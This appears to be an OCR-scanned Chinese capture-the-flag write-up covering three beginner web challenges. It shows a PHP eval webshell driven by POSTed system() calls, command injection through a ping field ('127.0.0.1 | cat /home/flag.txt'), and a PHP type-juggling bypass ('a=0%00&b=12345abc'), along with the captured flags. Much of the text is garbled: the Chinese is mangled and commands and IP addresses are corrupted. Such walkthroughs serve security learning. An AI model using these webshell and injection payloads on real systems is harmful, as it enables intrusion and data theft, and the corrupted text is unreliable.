[ Enable Post data {ﬁ: /f\'\/fi )ﬂwebShe”n‘% ?

shell=system("1s"); flag.txt index.php <?php

@eval($_POST['shell]);?>

Enable Referer

SR 5 B B H Rflag it P & B F] shell=echo system("cat flag.txt");

http://111. 198. 29. 45: 54661/

Enable Post data {ﬁ:/ﬁ\{i ):ﬂ WebShel |a'% ?
;‘911;9:[};’ system(“cat cyberpeace{c]0b4231efTabffoded7f32ce1 e49f38)cyberpeace{c] 0b4231 ef7ak
ag. tx N

@eval($_POST['shell]);?>

Z%lflag: cyberpeace{c10b4231ef7abffoded7f32cc1e49f39)cyberpeace{c10b4231ef7abffoded7f32cc1e49f39}

—+09. command_execution



PING

127.0.0.1

PING

IIT e R R — MR TPingfr @I, &= Ping 127.0.0.1, &5 Hi¥l— TR

ping -c 3 127.8.8.1

PING 127.0.8.1 (127.0.8.1) 56(84) bytes of data.

64 bytes from 127.0.8.1: icmp_seg=1 ttl=64 time=0.095 ms
64 bytes from 127.0.8.1: icmp_seg=2 ttl=64 time=0.062 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.064 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = ©.062/0.073/0.095/0.018 ms

REI T ZIPHEFPIRES, HRHIA X TlaghfE B . BEEMH A S KRN H R E Bwaf B LAT] DLSE I — e 455 M A5 R dr
4, XEMFRAMRTERGAPE. %5 A127.0.0.1 |find/ -name “flag.txt’

ping -c¢ 3 127.0.0.1 | find/ -name "flag.txt"

B Eflag I E, REEZEEFI: #AN127.0.0.1 | cat /home/flag.ixtst 7] LA £ Flflag

W

ping -c¢ 3 127.0.8.1 | cat /home/flag.txt
cyberpeace{6a8341d74bb2188484ed3e321e331815}

ZFflag:
cyberpeace{6a8341d74bb2188484ed3e321e331815}

—+%. simple_php



<?php

show_source(__FILE_);
include("config.php");
$a=@$ GET['a'];
$b=@$_GET['b"];
if($a==0 and $%$a){

echo $flagl;
)

if(is_numeric($b)){
exit();

)
if($b>1234){
echo $flag2;

Tt PHPRIY, ATt

1. fE Na =A% T0, B fagt
2. EADERTEHTF, HEEAT1234, KEHfag2

H5EtENa=0%00, FH%RKEBWi1EE, italETUET0, ERIFIRELET.
fe Ab=12345abc, AT LARIEDKIME R KT 123419, EXARAHT .

.198.29.45: ?a=0% = abc
< c ® ® 111.198.29.45:55383/?a=0%008&b=12345ab

<?php

show source(  FILE ):

include ("config. php”) ;

$a=@$_GET[ a’ ];

$b=@$_GET['b’ ];

if($a==0 and $a){
echo $§flagl;

}

if(is_numeric ($h)) {
exit () ;

}

if($b>1234) {

echo $§flag2;
}
>

Cyberpeace {647E37C7627CC3E4019EC69324F66C7C}

Z3|flag: Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
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